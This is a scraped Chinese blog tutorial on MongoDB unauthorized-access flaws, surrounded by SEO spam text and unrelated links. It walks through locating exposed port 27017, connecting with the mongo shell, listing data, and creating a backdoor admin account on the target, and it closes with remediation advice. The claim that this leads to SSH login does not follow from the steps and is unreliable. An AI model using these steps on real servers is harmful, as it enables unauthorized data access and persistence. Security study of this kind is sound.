当前位置: 首页 > news >正文

优良的网站邮箱服务器提供商isp互联网招聘网站排行

优良的网站邮箱服务器提供商isp,互联网招聘网站排行,做网站编程语言,站群网站简介 MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致…

简介

MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产品,它的特点是高性能、易部署、易使用,存储数据非常方便,默认情况下是没有认证的这就导致不熟悉它的研发人员部署后没有做访问控制导致可以未授权登录。

实战

一、环境安装

当发现该端口对外开放时,使用MongoDB的shell工具mongo可以对未授权访问漏洞进行利用。

可以查看官方安装方法

https://docs.mongodb.com/manual/tutorial/install-mongodb-on-debian/

这边已经整理出kali中安装方法,安装该工具走了不少弯路,遇到各种环境问题。

1.导入MongoDB公共GPG密钥:

wget -qO - https://www.mongodb.org/static/pgp/server-5.0.asc | sudo apt-key add -

如果提示错误运行下面命令之后,重新运行上面命令

sudo apt-get install gnupg

2.创建一个列表文件来配置下载列表和下载源。

echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/5.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-5.0.list

3.重新加载更新源

sudo apt-get update

4.安装MongoDB的最新稳定版本

sudo apt-get install -y mongodb-org

5.启动进程

sudo systemctl start mongod

如果您在启动mongod时收到类似于以下内容的错误:

Failed to start mongod.service: Unit mongod.service not found.

首先运行以下命令:然后再次运行上面的开始命令,然后再次运行上面的开始命令。

sudo systemctl daemon-reload

6.配置开机自启

sudo systemctl enable mongod

二、漏洞利用

1.扫描或者fofa发现端口或者服务,默认端口27017
在这里插入图片描述
2.使用mongo连接数据库

命令格式:mongo --host 目标ip --port 目标端口
在这里插入图片描述
3.查看用户、数据库信息等
在这里插入图片描述
4.创建系统用户管理员创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号

#切换到admin库:
> use admin
switched to db admin#创建用户
> db.createUser({user: "myUserAdmin",pwd: "Passw0rd",roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]}
)#创建成功后提示信息:Successfully added user: {"user" : "myUserAdmin","roles" : [{"role" : "userAdminAnyDatabase","db" : "admin"}]
}

5.ssh直接登录系统,利用完毕。

注:kali默认是没有安装mongo数据库连接工具的,需要自己手动安装。

三、漏洞修复

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

1.如MongoDB只需在本地使用,建议只在本地开启监听服务。
2.如果仅对内网服务器提供服务,建议禁止将MongoDB服务发布到互联网上,并在主机上通过防火墙限制访问源IP。
3.启动基于角色的登录认证功能

http://www.yayakq.cn/news/183960/

相关文章:

  • 松江网站建设公司怎么样黄冈贴吧
  • 四川建设网站信息查询中心襄阳营销网站建设
  • 苏州网站建设联系电话珠海百度搜索排名优化
  • 如何制作餐馆网站网页版传奇制作教程
  • 模板网站建设全过程无锡百度公司王东
  • 大型网站怎么做seo广东省建设工程安监局网站
  • 阿勒泰网站建设国家批准的正规学历提升机构
  • 网站备案网站前置审批wordpress分类目录页
  • 做王境泽表情的网站网络平台建设公司
  • 咖啡网站模板公司微网站建设价格
  • 西安建网站搭建购物商城
  • 做百度联盟用什么做网站代驾网站开发
  • 大连做公司网站的公司手机网站默认全屏
  • 抚州市住房和城乡建设局网站wordpress商城模板免费下载
  • 成都网站外包优化公司做网站软件dw
  • 网站开发人员招聘要求重庆网络公司
  • 做网站图片尺寸做那种网站
  • 北京网站制作与建设公司营销型定制网站
  • 网站上百度要怎么做制作网页的软件免费
  • 公众号电影网站怎么做成都招聘网站建设
  • 宁波网站建设的企业学电商
  • 怎样用ps做网站首页图杭州猎头公司
  • 塔城市建设局网站嵌入式软件开发简历
  • 营销网站的策划方案怎么做网页生成视频
  • 网站的程序怎么做的技校网站建设与维护课程教学总结
  • 0453牡丹江信息网二手车新开网站seo
  • 大兴安岭建设局网站东莞做网站公司有哪些
  • 做网站的几个步骤网站定制排名
  • 网站自适应开发长沙装修公司性价比最高的是哪个
  • 网站建设的任务规划手机排行榜2021前十名性价比